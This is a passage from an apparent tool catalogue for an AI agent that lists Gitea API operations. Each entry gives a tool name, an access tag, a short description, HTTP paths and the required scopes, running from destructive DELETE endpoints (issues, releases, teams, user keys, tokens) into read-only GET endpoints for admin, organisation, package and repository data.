gitea_delete_repos_by_owner_by_repo_issues_by_index_dependencies (write, destructive) — Remove an issue dependency. DELETE /repos/{owner}/{repo}/issues/{index}/dependencies DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/dependencies. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_labels (write, destructive) — Remove all labels from an issue. DELETE /repos/{owner}/{repo}/issues/{index}/labels DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/labels. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_labels_by_id (write, destructive) — Remove a label from an issue. DELETE /repos/{owner}/{repo}/issues/{index}/labels/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/labels/{id}. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_lock (write, destructive) — Unlock an issue. DELETE /repos/{owner}/{repo}/issues/{index}/lock DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/lock. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_pin (write, destructive) — Unpin an Issue. DELETE /repos/{owner}/{repo}/issues/{index}/pin DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/pin. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_reactions (write, destructive) — Remove a reaction from an issue. DELETE /repos/{owner}/{repo}/issues/{index}/reactions DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/reactions. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_stopwatch_delete (write, destructive) — Delete an issue's existing stopwatch. DELETE /repos/{owner}/{repo}/issues/{index}/stopwatch/delete DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/stopwatch/delete. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_subscriptions_by_user (write, destructive) — Unsubscribe user from issue. DELETE /repos/{owner}/{repo}/issues/{index}/subscriptions/{user} DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/subscriptions/{user}. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_times (write, destructive) — Reset a tracked time of an issue. DELETE /repos/{owner}/{repo}/issues/{index}/times DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/times. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_by_index_times_by_id (write, destructive) — Delete specific tracked time. DELETE /repos/{owner}/{repo}/issues/{index}/times/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/{index}/times/{id}. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_comments_by_id (write, destructive) — Delete a comment. DELETE /repos/{owner}/{repo}/issues/comments/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_comments_by_id_assets_by_attachment_id (write, destructive) — Delete a comment attachment. DELETE /repos/{owner}/{repo}/issues/comments/{id}/assets/{attachment_id} DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}/assets/{attachment_id}. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_issues_comments_by_id_reactions (write, destructive) — Remove a reaction from a comment of an issue. DELETE /repos/{owner}/{repo}/issues/comments/{id}/reactions DELETE /api/v1/gitea/repos/{owner}/{repo}/issues/comments/{id}/reactions. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_keys_by_id (write, destructive) — Delete a key from a repository. DELETE /repos/{owner}/{repo}/keys/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/keys/{id}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_labels_by_id (write, destructive) — Delete a label. DELETE /repos/{owner}/{repo}/labels/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/labels/{id}. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_milestones_by_id (write, destructive) — Delete a milestone. DELETE /repos/{owner}/{repo}/milestones/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/milestones/{id}. Scopes: write:issue. gitea_delete_repos_by_owner_by_repo_pulls_by_index_merge (write, destructive) — Cancel the scheduled auto merge for the given pull request. DELETE /repos/{owner}/{repo}/pulls/{index}/merge DELETE /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/merge. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_pulls_by_index_requested_reviewers (write, destructive) — cancel review requests for a pull request. DELETE /repos/{owner}/{repo}/pulls/{index}/requested_reviewers DELETE /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/requested_reviewers. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_pulls_by_index_reviews_by_id (write, destructive) — Delete a specific review from a pull request. DELETE /repos/{owner}/{repo}/pulls/{index}/reviews/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/pulls/{index}/reviews/{id}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_push_mirrors_by_name (write, destructive) — deletes a push mirror from a repository by remoteName. DELETE /repos/{owner}/{repo}/push_mirrors/{name} DELETE /api/v1/gitea/repos/{owner}/{repo}/push_mirrors/{name}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_releases_by_id (write, destructive) — Delete a release. DELETE /repos/{owner}/{repo}/releases/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/releases/{id}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_releases_by_id_assets_by_attachment_id (write, destructive) — Delete a release attachment. DELETE /repos/{owner}/{repo}/releases/{id}/assets/{attachment_id} DELETE /api/v1/gitea/repos/{owner}/{repo}/releases/{id}/assets/{attachment_id}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_releases_tags_by_tag (write, destructive) — Delete a release by tag name. DELETE /repos/{owner}/{repo}/releases/tags/{tag} DELETE /api/v1/gitea/repos/{owner}/{repo}/releases/tags/{tag}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_subscription (write, destructive) — Unwatch a repo. DELETE /repos/{owner}/{repo}/subscription DELETE /api/v1/gitea/repos/{owner}/{repo}/subscription. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_tag_protections_by_id (write, destructive) — Delete a specific tag protection for the repository. DELETE /repos/{owner}/{repo}/tag_protections/{id} DELETE /api/v1/gitea/repos/{owner}/{repo}/tag_protections/{id}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_tags_by_tag (write, destructive) — Delete a repository's tag by name. DELETE /repos/{owner}/{repo}/tags/{tag} DELETE /api/v1/gitea/repos/{owner}/{repo}/tags/{tag}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_teams_by_team (write, destructive) — Delete a team from a repository. DELETE /repos/{owner}/{repo}/teams/{team} DELETE /api/v1/gitea/repos/{owner}/{repo}/teams/{team}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_topics_by_topic (write, destructive) — Delete a topic from a repository. DELETE /repos/{owner}/{repo}/topics/{topic} DELETE /api/v1/gitea/repos/{owner}/{repo}/topics/{topic}. Scopes: write:repository. gitea_delete_repos_by_owner_by_repo_wiki_page_by_pagename (write, destructive) — Delete a wiki page. DELETE /repos/{owner}/{repo}/wiki/page/{pageName} DELETE /api/v1/gitea/repos/{owner}/{repo}/wiki/page/{pageName}. Scopes: write:repository. gitea_delete_teams_by_id (write, destructive) — Delete a team. DELETE /teams/{id} DELETE /api/v1/gitea/teams/{id}. Scopes: write:organization. gitea_delete_teams_by_id_members_by_username (write, destructive) — Remove a team member. DELETE /teams/{id}/members/{username} DELETE /api/v1/gitea/teams/{id}/members/{username}. Scopes: write:organization. gitea_delete_teams_by_id_repos_by_org_by_repo (write, destructive) — Remove a repository from a team This does not delete the repository, it only removes the repository from the team. DELETE /teams/{id}/repos/{org}/{repo} DELETE /api/v1/gitea/teams/{id}/repos/{org}/{repo}. Scopes: write:organization. gitea_delete_user_actions_runners_by_runner_id (write, destructive) — Delete a user-level runner. DELETE /user/actions/runners/{runner_id} DELETE /api/v1/gitea/user/actions/runners/{runner_id}. Scopes: write:user. gitea_delete_user_actions_secrets_by_secretname (write, destructive) — Delete a secret in a user scope. DELETE /user/actions/secrets/{secretname} DELETE /api/v1/gitea/user/actions/secrets/{secretname}. Scopes: write:user. gitea_delete_user_actions_variables_by_variablename (write, destructive) — Delete a user-level variable which is created by current doer. DELETE /user/actions/variables/{variablename} DELETE /api/v1/gitea/user/actions/variables/{variablename}. Scopes: write:user. gitea_delete_user_avatar (write, destructive) — Delete Avatar. DELETE /user/avatar DELETE /api/v1/gitea/user/avatar. Scopes: write:user. gitea_delete_user_blocks_by_username (write, destructive) — Unblock a user. DELETE /user/blocks/{username} DELETE /api/v1/gitea/user/blocks/{username}. Scopes: write:user. gitea_delete_user_emails (write, destructive) — Delete email addresses. DELETE /user/emails DELETE /api/v1/gitea/user/emails. Scopes: write:user. gitea_delete_user_following_by_username (write, destructive) — Unfollow a user. DELETE /user/following/{username} DELETE /api/v1/gitea/user/following/{username}. Scopes: write:user. gitea_delete_user_gpg_keys_by_id (write, destructive) — Remove a GPG key. DELETE /user/gpg_keys/{id} DELETE /api/v1/gitea/user/gpg_keys/{id}. Scopes: write:user. gitea_delete_user_hooks_by_id (write, destructive) — Delete a hook. DELETE /user/hooks/{id} DELETE /api/v1/gitea/user/hooks/{id}. Scopes: write:user. gitea_delete_user_keys_by_id (write, destructive) — Delete a public key. DELETE /user/keys/{id} DELETE /api/v1/gitea/user/keys/{id}. Scopes: write:user. gitea_delete_user_starred_by_owner_by_repo (write, destructive) — Unstar the given repo. DELETE /user/starred/{owner}/{repo} DELETE /api/v1/gitea/user/starred/{owner}/{repo}. Scopes: write:repository, write:user. gitea_delete_users_by_username_tokens_by_token (write, destructive) — delete an access token. DELETE /users/{username}/tokens/{token} DELETE /api/v1/gitea/users/{username}/tokens/{token}. Scopes: write:user. gitea_get_admin_actions_jobs (read) — Lists all jobs. GET /admin/actions/jobs GET /api/v1/gitea/admin/actions/jobs. Scopes: read:admin. gitea_get_admin_actions_runners (read) — Get all runners. GET /admin/actions/runners GET /api/v1/gitea/admin/actions/runners. Scopes: read:admin. gitea_get_admin_actions_runners_by_runner_id (read) — Get a global runner. GET /admin/actions/runners/{runner_id} GET /api/v1/gitea/admin/actions/runners/{runner_id}. Scopes: read:admin. gitea_get_admin_actions_runs (read) — Lists all runs. GET /admin/actions/runs GET /api/v1/gitea/admin/actions/runs. Scopes: read:admin. gitea_get_admin_cron (read) — List cron tasks. GET /admin/cron GET /api/v1/gitea/admin/cron. Scopes: read:admin. gitea_get_admin_emails (read) — List all emails. GET /admin/emails GET /api/v1/gitea/admin/emails. Scopes: read:admin. gitea_get_admin_emails_search (read) — Search all emails. GET /admin/emails/search GET /api/v1/gitea/admin/emails/search. Scopes: read:admin. gitea_get_admin_hooks (read) — List system's webhooks. GET /admin/hooks GET /api/v1/gitea/admin/hooks. Scopes: read:admin. gitea_get_admin_hooks_by_id (read) — Get a hook. GET /admin/hooks/{id} GET /api/v1/gitea/admin/hooks/{id}. Scopes: read:admin. gitea_get_admin_orgs (read) — List all organizations. GET /admin/orgs GET /api/v1/gitea/admin/orgs. Scopes: read:admin. gitea_get_admin_unadopted (read) — List unadopted repositories. GET /admin/unadopted GET /api/v1/gitea/admin/unadopted. Scopes: read:admin. gitea_get_admin_users (read) — Search users according filter conditions. GET /admin/users GET /api/v1/gitea/admin/users. Scopes: read:admin. gitea_get_admin_users_by_username_badges (read) — List a user's badges. GET /admin/users/{username}/badges GET /api/v1/gitea/admin/users/{username}/badges. Scopes: read:admin. gitea_get_gitignore_templates (read) — Returns a list of all gitignore templates. GET /gitignore/templates GET /api/v1/gitea/gitignore/templates. Scopes: api. gitea_get_gitignore_templates_by_name (read) — Returns information about a gitignore template. GET /gitignore/templates/{name} GET /api/v1/gitea/gitignore/templates/{name}. Scopes: api. gitea_get_label_templates (read) — Returns a list of all label templates. GET /label/templates GET /api/v1/gitea/label/templates. Scopes: api. gitea_get_label_templates_by_name (read) — Returns all labels in a template. GET /label/templates/{name} GET /api/v1/gitea/label/templates/{name}. Scopes: api. gitea_get_licenses (read) — Returns a list of all license templates. GET /licenses GET /api/v1/gitea/licenses. Scopes: api. gitea_get_licenses_by_name (read) — Returns information about a license template. GET /licenses/{name} GET /api/v1/gitea/licenses/{name}. Scopes: api. gitea_get_notifications (read) — List users's notification threads. GET /notifications GET /api/v1/gitea/notifications. Scopes: read:notification. gitea_get_notifications_new (read) — Check if unread notifications exist. GET /notifications/new GET /api/v1/gitea/notifications/new. Scopes: read:notification. gitea_get_notifications_threads_by_id (read) — Get notification thread by ID. GET /notifications/threads/{id} GET /api/v1/gitea/notifications/threads/{id}. Scopes: read:notification. gitea_get_orgs (read) — Get list of organizations. GET /orgs GET /api/v1/gitea/orgs. Scopes: read:organization. gitea_get_orgs_by_org (read) — Get an organization. GET /orgs/{org} GET /api/v1/gitea/orgs/{org}. Scopes: read:organization. gitea_get_orgs_by_org_actions_jobs (read) — Get org-level workflow jobs. GET /orgs/{org}/actions/jobs GET /api/v1/gitea/orgs/{org}/actions/jobs. Scopes: read:organization. gitea_get_orgs_by_org_actions_runners (read) — Get org-level runners. GET /orgs/{org}/actions/runners GET /api/v1/gitea/orgs/{org}/actions/runners. Scopes: read:organization. gitea_get_orgs_by_org_actions_runners_by_runner_id (read) — Get an org-level runner. GET /orgs/{org}/actions/runners/{runner_id} GET /api/v1/gitea/orgs/{org}/actions/runners/{runner_id}. Scopes: read:organization. gitea_get_orgs_by_org_actions_runs (read) — Get org-level workflow runs. GET /orgs/{org}/actions/runs GET /api/v1/gitea/orgs/{org}/actions/runs. Scopes: read:organization. gitea_get_orgs_by_org_actions_secrets (read) — List an organization's actions secrets. GET /orgs/{org}/actions/secrets GET /api/v1/gitea/orgs/{org}/actions/secrets. Scopes: read:organization. gitea_get_orgs_by_org_actions_variables (read) — Get an org-level variables list. GET /orgs/{org}/actions/variables GET /api/v1/gitea/orgs/{org}/actions/variables. Scopes: read:organization. gitea_get_orgs_by_org_actions_variables_by_variablename (read) — Get an org-level variable. GET /orgs/{org}/actions/variables/{variablename} GET /api/v1/gitea/orgs/{org}/actions/variables/{variablename}. Scopes: read:organization. gitea_get_orgs_by_org_activities_feeds (read) — List an organization's activity feeds. GET /orgs/{org}/activities/feeds GET /api/v1/gitea/orgs/{org}/activities/feeds. Scopes: read:organization. gitea_get_orgs_by_org_blocks (read) — List users blocked by the organization. GET /orgs/{org}/blocks GET /api/v1/gitea/orgs/{org}/blocks. Scopes: read:organization. gitea_get_orgs_by_org_blocks_by_username (read) — Check if a user is blocked by the organization. GET /orgs/{org}/blocks/{username} GET /api/v1/gitea/orgs/{org}/blocks/{username}. Scopes: read:organization. gitea_get_orgs_by_org_hooks (read) — List an organization's webhooks. GET /orgs/{org}/hooks GET /api/v1/gitea/orgs/{org}/hooks. Scopes: read:organization. gitea_get_orgs_by_org_hooks_by_id (read) — Get a hook. GET /orgs/{org}/hooks/{id} GET /api/v1/gitea/orgs/{org}/hooks/{id}. Scopes: read:organization. gitea_get_orgs_by_org_labels (read) — List an organization's labels. GET /orgs/{org}/labels GET /api/v1/gitea/orgs/{org}/labels. Scopes: read:organization. gitea_get_orgs_by_org_labels_by_id (read) — Get a single label. GET /orgs/{org}/labels/{id} GET /api/v1/gitea/orgs/{org}/labels/{id}. Scopes: read:organization. gitea_get_orgs_by_org_members (read) — List an organization's members. GET /orgs/{org}/members GET /api/v1/gitea/orgs/{org}/members. Scopes: read:organization. gitea_get_orgs_by_org_members_by_username (read) — Check if a user is a member of an organization. GET /orgs/{org}/members/{username} GET /api/v1/gitea/orgs/{org}/members/{username}. Scopes: read:organization. gitea_get_orgs_by_org_public_members (read) — List an organization's public members. GET /orgs/{org}/public_members GET /api/v1/gitea/orgs/{org}/public_members. Scopes: read:organization. gitea_get_orgs_by_org_public_members_by_username (read) — Check if a user is a public member of an organization. GET /orgs/{org}/public_members/{username} GET /api/v1/gitea/orgs/{org}/public_members/{username}. Scopes: read:organization. gitea_get_orgs_by_org_repos (read) — List an organization's repos. GET /orgs/{org}/repos GET /api/v1/gitea/orgs/{org}/repos. Scopes: read:organization. gitea_get_orgs_by_org_teams (read) — List an organization's teams. GET /orgs/{org}/teams GET /api/v1/gitea/orgs/{org}/teams. Scopes: read:organization. gitea_get_orgs_by_org_teams_search (read) — Search for teams within an organization. GET /orgs/{org}/teams/search GET /api/v1/gitea/orgs/{org}/teams/search. Scopes: read:organization. gitea_get_packages_by_owner (read) — Gets all packages of an owner. GET /packages/{owner} GET /api/v1/gitea/packages/{owner}. Scopes: read:package. gitea_get_packages_by_owner_by_type_by_name (read) — Gets all versions of a package. GET /packages/{owner}/{type}/{name} GET /api/v1/gitea/packages/{owner}/{type}/{name}. Scopes: read:package. gitea_get_packages_by_owner_by_type_by_name_by_version (read) — Gets a package. GET /packages/{owner}/{type}/{name}/{version} GET /api/v1/gitea/packages/{owner}/{type}/{name}/{version}. Scopes: read:package. gitea_get_packages_by_owner_by_type_by_name_by_version_files (read) — Gets all files of a package. GET /packages/{owner}/{type}/{name}/{version}/files GET /api/v1/gitea/packages/{owner}/{type}/{name}/{version}/files. Scopes: read:package. gitea_get_packages_by_owner_by_type_by_name_latest (read) — Gets the latest version of a package. GET /packages/{owner}/{type}/{name}/-/latest GET /api/v1/gitea/packages/{owner}/{type}/{name}/-/latest. Scopes: read:package. gitea_get_repos_by_owner_by_repo (read) — Get a repository. GET /repos/{owner}/{repo} GET /api/v1/gitea/repos/{owner}/{repo}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_artifacts (read) — Lists all artifacts for a repository. GET /repos/{owner}/{repo}/actions/artifacts GET /api/v1/gitea/repos/{owner}/{repo}/actions/artifacts. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_artifacts_by_artifact_id (read) — Gets a specific artifact for a workflow run. GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id} GET /api/v1/gitea/repos/{owner}/{repo}/actions/artifacts/{artifact_id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_artifacts_by_artifact_id_zip (read) — Downloads a specific artifact for a workflow run redirects to blob url. GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id}/zip GET /api/v1/gitea/repos/{owner}/{repo}/actions/artifacts/{artifact_id}/zip. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_jobs (read) — Lists all jobs for a repository. GET /repos/{owner}/{repo}/actions/jobs GET /api/v1/gitea/repos/{owner}/{repo}/actions/jobs. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_jobs_by_job_id (read) — Gets a specific workflow job for a workflow run. GET /repos/{owner}/{repo}/actions/jobs/{job_id} GET /api/v1/gitea/repos/{owner}/{repo}/actions/jobs/{job_id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_jobs_by_job_id_logs (read) — Downloads the job logs for a workflow run. GET /repos/{owner}/{repo}/actions/jobs/{job_id}/logs GET /api/v1/gitea/repos/{owner}/{repo}/actions/jobs/{job_id}/logs. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_runners (read) — Get repo-level runners. GET /repos/{owner}/{repo}/actions/runners GET /api/v1/gitea/repos/{owner}/{repo}/actions/runners. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_runners_by_runner_id (read) — Get a repo-level runner. GET /repos/{owner}/{repo}/actions/runners/{runner_id} GET /api/v1/gitea/repos/{owner}/{repo}/actions/runners/{runner_id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_runs (read) — Lists all runs for a repository run. GET /repos/{owner}/{repo}/actions/runs GET /api/v1/gitea/repos/{owner}/{repo}/actions/runs. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_runs_by_run (read) — Gets a specific workflow run. GET /repos/{owner}/{repo}/actions/runs/{run} GET /api/v1/gitea/repos/{owner}/{repo}/actions/runs/{run}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_runs_by_run_artifacts (read) — Lists all artifacts for a repository run. GET /repos/{owner}/{repo}/actions/runs/{run}/artifacts GET /api/v1/gitea/repos/{owner}/{repo}/actions/runs/{run}/artifacts. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_runs_by_run_attempts_by_attempt (read) — Gets a specific workflow run attempt. GET /repos/{owner}/{repo}/actions/runs/{run}/attempts/{attempt} GET /api/v1/gitea/repos/{owner}/{repo}/actions/runs/{run}/attempts/{attempt}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_runs_by_run_attempts_by_attempt_jobs (read) — Lists all jobs for a workflow run attempt. GET /repos/{owner}/{repo}/actions/runs/{run}/attempts/{attempt}/jobs GET /api/v1/gitea/repos/{owner}/{repo}/actions/runs/{run}/attempts/{attempt}/jobs. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_runs_by_run_jobs (read) — Lists all jobs for a workflow run. GET /repos/{owner}/{repo}/actions/runs/{run}/jobs GET /api/v1/gitea/repos/{owner}/{repo}/actions/runs/{run}/jobs. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_secrets (read) — List an repo's actions secrets. GET /repos/{owner}/{repo}/actions/secrets GET /api/v1/gitea/repos/{owner}/{repo}/actions/secrets. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_tasks (read) — List a repository's action tasks. GET /repos/{owner}/{repo}/actions/tasks GET /api/v1/gitea/repos/{owner}/{repo}/actions/tasks. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_variables (read) — Get repo-level variables list. GET /repos/{owner}/{repo}/actions/variables GET /api/v1/gitea/repos/{owner}/{repo}/actions/variables. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_variables_by_variablename (read) — Get a repo-level variable. GET /repos/{owner}/{repo}/actions/variables/{variablename} GET /api/v1/gitea/repos/{owner}/{repo}/actions/variables/{variablename}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_workflows (read) — List repository workflows. GET /repos/{owner}/{repo}/actions/workflows GET /api/v1/gitea/repos/{owner}/{repo}/actions/workflows. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_workflows_by_workflow_id (read) — Get a workflow. GET /repos/{owner}/{repo}/actions/workflows/{workflow_id} GET /api/v1/gitea/repos/{owner}/{repo}/actions/workflows/{workflow_id}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_actions_workflows_by_workflow_id_runs (read) — List runs for a workflow. GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs GET /api/v1/gitea/repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_activities_feeds (read) — List a repository's activity feeds. GET /repos/{owner}/{repo}/activities/feeds GET /api/v1/gitea/repos/{owner}/{repo}/activities/feeds. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_archive_by_archive (read) — Get an archive of a repository. GET /repos/{owner}/{repo}/archive/{archive} GET /api/v1/gitea/repos/{owner}/{repo}/archive/{archive}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_assignees (read) — Return all users that have write access and can be assigned to issues. GET /repos/{owner}/{repo}/assignees GET /api/v1/gitea/repos/{owner}/{repo}/assignees. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_assignees_by_assignee (read) — Check if a user can be assigned to issues in a repository. GET /repos/{owner}/{repo}/assignees/{assignee} GET /api/v1/gitea/repos/{owner}/{repo}/assignees/{assignee}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_branch_protections (read) — List branch protections for a repository. GET /repos/{owner}/{repo}/branch_protections GET /api/v1/gitea/repos/{owner}/{repo}/branch_protections. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_branch_protections_by_name (read) — Get a specific branch protection for the repository. GET /repos/{owner}/{repo}/branch_protections/{name} GET /api/v1/gitea/repos/{owner}/{repo}/branch_protections/{name}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_branches (read) — List a repository's branches. GET /repos/{owner}/{repo}/branches GET /api/v1/gitea/repos/{owner}/{repo}/branches. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_branches_by_branch (read) — Retrieve a specific branch from a repository, including its effective branch protection. GET /repos/{owner}/{repo}/branches/{branch} GET /api/v1/gitea/repos/{owner}/{repo}/branches/{branch}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_collaborators (read) — List a repository's collaborators. GET /repos/{owner}/{repo}/collaborators GET /api/v1/gitea/repos/{owner}/{repo}/collaborators. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_collaborators_by_collaborator (read) — Check if a user is a collaborator of a repository. GET /repos/{owner}/{repo}/collaborators/{collaborator} GET /api/v1/gitea/repos/{owner}/{repo}/collaborators/{collaborator}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_collaborators_by_collaborator_permission (read) — Get repository permissions for a user. GET /repos/{owner}/{repo}/collaborators/{collaborator}/permission GET /api/v1/gitea/repos/{owner}/{repo}/collaborators/{collaborator}/permission. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_commits (read) — Get a list of all commits from a repository. GET /repos/{owner}/{repo}/commits GET /api/v1/gitea/repos/{owner}/{repo}/commits. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_commits_by_ref_status (read) — Get a commit's combined status, by branch/tag/commit reference. GET /repos/{owner}/{repo}/commits/{ref}/status GET /api/v1/gitea/repos/{owner}/{repo}/commits/{ref}/status. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_commits_by_ref_statuses (read) — Get a commit's statuses, by branch/tag/commit reference. GET /repos/{owner}/{repo}/commits/{ref}/statuses GET /api/v1/gitea/repos/{owner}/{repo}/commits/{ref}/statuses. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_commits_by_sha_pull (read) — Get the merged pull request of the commit. GET /repos/{owner}/{repo}/commits/{sha}/pull GET /api/v1/gitea/repos/{owner}/{repo}/commits/{sha}/pull. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_compare_by_basehead (read) — Get commit comparison information By default returns JSON commit comparison information. The raw diff or patch can be requested with the `output` query parameter set to `diff` or `patch` respectively. GET /repos/{owner}/{repo}/compare/{basehead} GET /api/v1/gitea/repos/{owner}/{repo}/compare/{basehead}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_contents (read) — Gets the metadata of all the entries of the root dir. This API follows GitHub's design, and it is not easy to use. Recommend users to use our "contents-ext" API instead. GET /repos/{owner}/{repo}/contents GET /api/v1/gitea/repos/{owner}/{repo}/contents. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_contents_by_filepath (read) — Gets the metadata and contents (if a file) of an entry in a repository, or a list of entries if a dir. This API follows GitHub's design, and it is not easy to use. Recommend users to use the "contents-ext" API instead. GET /repos/{owner}/{repo}/contents/{filepath} GET /api/v1/gitea/repos/{owner}/{repo}/contents/{filepath}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_contents_ext_by_filepath (read) — The extended "contents" API, to get file metadata and/or content, or list a directory. It guarantees that only one of the response fields is set if the request succeeds. Users can pass "includes=file_content" or "includes=lfs_metadata" to retrieve more fields. "includes=file_content" only works for single file, if you need to retrieve file contents in batch, use "file-contents" API after listing the directory. GET /repos/{owner}/{repo}/contents-ext/{filepath} GET /api/v1/gitea/repos/{owner}/{repo}/contents-ext/{filepath}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_editorconfig_by_filepath (read) — Get the EditorConfig definitions of a file in a repository. GET /repos/{owner}/{repo}/editorconfig/{filepath} GET /api/v1/gitea/repos/{owner}/{repo}/editorconfig/{filepath}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_file_contents (read) — Get the metadata and contents of requested files See the POST method. This GET method supports using JSON encoded request body in query parameter. GET /repos/{owner}/{repo}/file-contents GET /api/v1/gitea/repos/{owner}/{repo}/file-contents. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_forks (read) — List a repository's forks. GET /repos/{owner}/{repo}/forks GET /api/v1/gitea/repos/{owner}/{repo}/forks. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_git_blobs_by_sha (read) — Gets the blob of a repository. GET /repos/{owner}/{repo}/git/blobs/{sha} GET /api/v1/gitea/repos/{owner}/{repo}/git/blobs/{sha}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_git_commits_by_sha (read) — Get a single commit from a repository. GET /repos/{owner}/{repo}/git/commits/{sha} GET /api/v1/gitea/repos/{owner}/{repo}/git/commits/{sha}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_git_commits_by_sha_by_difftype (read) — Get a commit's diff or patch. GET /repos/{owner}/{repo}/git/commits/{sha}.{diffType} GET /api/v1/gitea/repos/{owner}/{repo}/git/commits/{sha}.{diffType}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_git_notes_by_sha (read) — Get a note corresponding to a single commit from a repository. GET /repos/{owner}/{repo}/git/notes/{sha} GET /api/v1/gitea/repos/{owner}/{repo}/git/notes/{sha}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_git_refs (read) — Get specified ref or filtered repository's refs. GET /repos/{owner}/{repo}/git/refs GET /api/v1/gitea/repos/{owner}/{repo}/git/refs. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_git_refs_by_ref (read) — Get specified ref or filtered repository's refs. GET /repos/{owner}/{repo}/git/refs/{ref} GET /api/v1/gitea/repos/{owner}/{repo}/git/refs/{ref}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_git_tags_by_sha (read) — Gets the tag object of an annotated tag (not lightweight tags). GET /repos/{owner}/{repo}/git/tags/{sha} GET /api/v1/gitea/repos/{owner}/{repo}/git/tags/{sha}. Scopes: read:repository. gitea_get_repos_by_owner_by_repo_git_trees_by_sha (read) — Gets the tree of a repository. GET /repos/{owner}/{repo}/git/trees/{sha} 